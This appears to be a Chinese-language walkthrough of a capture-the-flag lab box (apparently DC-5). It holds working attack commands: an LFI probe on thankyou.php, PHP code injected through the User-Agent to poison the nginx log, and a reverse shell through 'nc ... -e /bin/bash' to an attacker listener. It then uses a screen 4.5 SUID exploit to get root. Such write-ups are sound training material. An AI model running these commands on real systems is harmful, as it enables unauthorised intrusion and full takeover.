靶机192.168.1.226
nmap起手。
nmap -sT 192.168.1.226 -p- -sV -sC -O
可以看到80端口用了nginx的web服务。
信息很少也就contact页面下有个输入框。这里可以猜测sql注入,和xss。漏洞,还有注意的是,这些页面都是PHP文件。参数变得尤其重要。
爆破目录
https://github.com/OJ/gobuster
gobuster -m dir -u 192.168.1.226 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
访问一下thankyou.php
似乎没什么可疑的地方,但实际上每次访问,底部的2018都换改变。这很奇怪。
可以看看footer.php。
很明显这里用了include(’’)函数。尝试能不能用file参数传进目录文件。也就是local file inclusion (LFI)本地文件包含漏洞。
http://192.168.1.226/thankyou.php?file=/etc/passwd
文件包含漏洞。
?file=/filepath不是唯一一种方式。我们也可以通过 wfuzz这样的工具去猜测可能性。
我们从nmap扫描中看到该web服务器时nginx,我们可以尝试去毒害 PHP文件从而执行代码.nginx的日志文件可以令thankyou.php执行代码。
访问?file=/etc/nginx/nginx.conf可以知道配置的访问log 文件在哪里。
这里有个问题。访问access.log,内容太多了,刚刚用nmap,gobuster的访问记录都在里面。为了看清里面的访问内容我不得不重置我的虚拟机。
这里需要通过用户代理字符串中发送PHP代码来实现。可以用burpsuite ,我这里选择用curl.
curl -A "<?= shell_exec('id');?>" http://192.168.1.226/thankyou.php
用nc反弹shell
nc -lvp 7777
curl -A "<?= shell_exec('nc 192.168.1.127 7777 -e /bin/bash');?>" http://192.168.1.226/thankyou.php
python 升级shell
python -c "import pty;pty.spawn('/bin/bash')"
^Z
stty raw -echo
fg
先用运行python代码,然后CTRL+z,后台运行,stty 后fg就能得到一个可以用ctrl-c,tab,向上的shell
提权。
利用提权检查脚本。
git clone https://github.com/sleventyeleven/linuxprivchecker
启动apache2
systemctl start apache2
把脚本传到web目录下。
cd到tmp目录下,然后下载
chmod +x linuxprivchecker.py
./linuxprivchecker.py > 1.txt
运行
多了一个screens文件
这里中这个screen可以进行suid提权。
searchsploit screen|grep 4.5
该脚本似乎并没有遵循应有的EOF标记。
此漏洞利用程序分为三个主要阶段。两个编译步骤和最后一个利用步骤。
我们可以将他拆分。这里需要注意的是脚本中的路径问题。
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
完成编译后,应该具有libhax.so,rootshell和script.sh。
把这三个文件传到dc5。
chmod +x script.sh
chmod +x rootshell
./script.sh
okok,去root目录下拿到最后的flag